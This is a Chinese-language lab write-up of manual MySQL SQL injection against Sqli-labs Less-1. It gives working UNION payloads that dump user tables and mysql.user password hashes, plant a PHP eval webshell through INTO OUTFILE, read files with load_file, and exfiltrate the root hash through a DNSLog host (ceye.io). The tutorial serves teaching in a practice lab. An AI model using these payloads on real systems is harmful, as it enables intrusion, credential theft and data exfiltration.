目录
基础回顾
- 注释符
- 基于类型分类
- SQL注入基本思路
Sqli-labs-Less-1
- 数据获取
- 信息收集
- 写入WebShell
- 文件读取
- DNSLog-OOB
基础回顾
注释符
Mysql 有三种常用注释符:
--[空格]
注意,后边有一个空格
#
通过#进行注释
/* */
注释掉符号内的内容
但因为要经过url编码(即经过浏览器),我们需要进行对应修改。
--[空格]
=> --+
或--%20
因为+
url编码后会被解析成空格。
#
=> %23
在html中#
有特殊的含义(CSS选择器用于页面定位),所以直接使用其url编码。
/* */
无需变更,在后边的内联注释waf绕过我们需要用到。
基于类型分类
数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。字符型注入
当输入的参数为字符串时,称为字符型。
字符型和数字型最大的区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
SQL注入基本思路:
1.注入点测试,是否存在?字符型or数字型?
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
Sqli-labs-Less-1
数据获取
我们按照完整渗透思路来一遍:
id=1 and 1=2 [正常]
id=1%27 [报错]
id=1%27--+ [正常]
由此判断存在注入,类型为字符型,则我们需要闭合前面的单引号,并将后面的单引号注释掉。
使用ORDER BY
猜解字段数量(二分法):
ORDER BY
语句用于根据指定的列对结果集进行排序(升序),可跟列名或数字。
id=1%27 order by 10--+ [报错]
id=1%27 order by 5--+ [报错]
id=1%27 order by 3--+ [正常]
id=1%27 order by 4--+ [报错]
其中报错返回Unknown column '4' in 'order clause'
,其不能识别列4,由此我们判断该表存在三列,即字段数为3。
使用UNION
判断显示位与显示的字段顺序:
UNION
操作符用于合并两个或多个 SELECT
语句的结果集。
请注意,UNION
内部的每个 SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT
语句中的列的顺序必须相同。
id=0%27 union select 1,2,3%23
由此判断2,3字段为显示位。
然后我们继续借助联合查询获取当前数据库信息:
#查看当前数据库
id=0%27 union select 1,(select database()),3%23
#查看指定数据库中的数据表
id=0%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=%27security%27),3%23
#查看指定数据库中的指定数据表中的字段名
id=0%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=%27users%27 and table_schema=%27security%27),3%23
#查看指定数据库中的指定数据表中的指定字段的数据
id=0%27 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)%23
然而真正的渗透测试到这里远没有结束,测试任务正式开始~
信息收集
#查看当前用户权限和版本号,可以根据数据库版本查找相关漏洞利用
id=0%27 union select 1,(user()),(version())%23
#查看全部数据库:
id=0%27 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
在返回的数据库中我们看到了默认表MySQL,众所周知MySQL数据库默认root密码的位置是mysql.user,此处刚好为root权限,我们尝试获取用户密码:
#查看mysql.user字段名
id=0%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=%27users%27 and table_schema=%27mysql%27),3%23
#查看数据库账号密码
id=0%27 union select 1,(select group_concat(user) from mysql.user),(select group_concat(hex(password)) from mysql.user)%23
注意,这里数据库中的密码是带有
*
的,不符合union语法,会报如下错误。
所以我们进行16进制转码,读出后再转会字符串进行破解。
到这里配置和环境允许的话可以尝试数据库直连。
写入WebShell
在这里我们继续我们的拓展,尝试手工注入webshell,因为是实验环境,此处假设我们拿到了服务器绝对路径:
id=0%27 union select 1,2,%27<?php eval($_POST[rabbit]);?>%27INTO OUTFILE %27C:/Environment/WWW/sqllibs/Less-1/rabbit.php%27--+
webshell上传成功,过刀菜狗直连即可,此处不再拓展。
文件读取
然后我们继续换方向,通过sql手工注入读取敏感文件,额,Windows没啥好玩的,自己写个flag吧:
id=0%27 union select 1,load_file(%27C:/Environment/WWW/sqllibs/Less-1/flag.txt%27),3--+
DNSLog-OOB
继续深入,来个进阶模式吧,这里我们之前提到了,2,3位为显示位,如果特殊情形下需求我们只能使用1来获取结果,我们如何去做呢?
DNSLog实现SQL注入结果外带,来实现OOB攻击。
id=0%27 union select LOAD_FILE(concat("////",(select mid(password,2) from mysql.user where user=%27root%27 limit 1),%27.xxxxx.ceye.io//abc%27)),2,3--+
这里我们做点解释:
- mid()函数对password做截取,这是因为域名中不能出现
*
,这也是hex()函数的一种取代方案,毕竟域名前缀有63位长度的限制,容易超标。 - 关于DNSlog平台,大家可以自行搭建或者使用在线平台,这里稍微推荐下吧:
自建:https://github.com/BugScanTeam/DNSLog
在线:http://ceye.io
显然,因为不是显示位,我们没有收到任何回显:
查看下我们的DNS日志:
成功拿到root用户hash,多说一句,显然DNSlog的方式不仅可以应对非显示位的SQL注入,更可以胜任SQL盲注的问题。
借此机会简单回顾了下SQL手工注入的基础内容,求轻喷~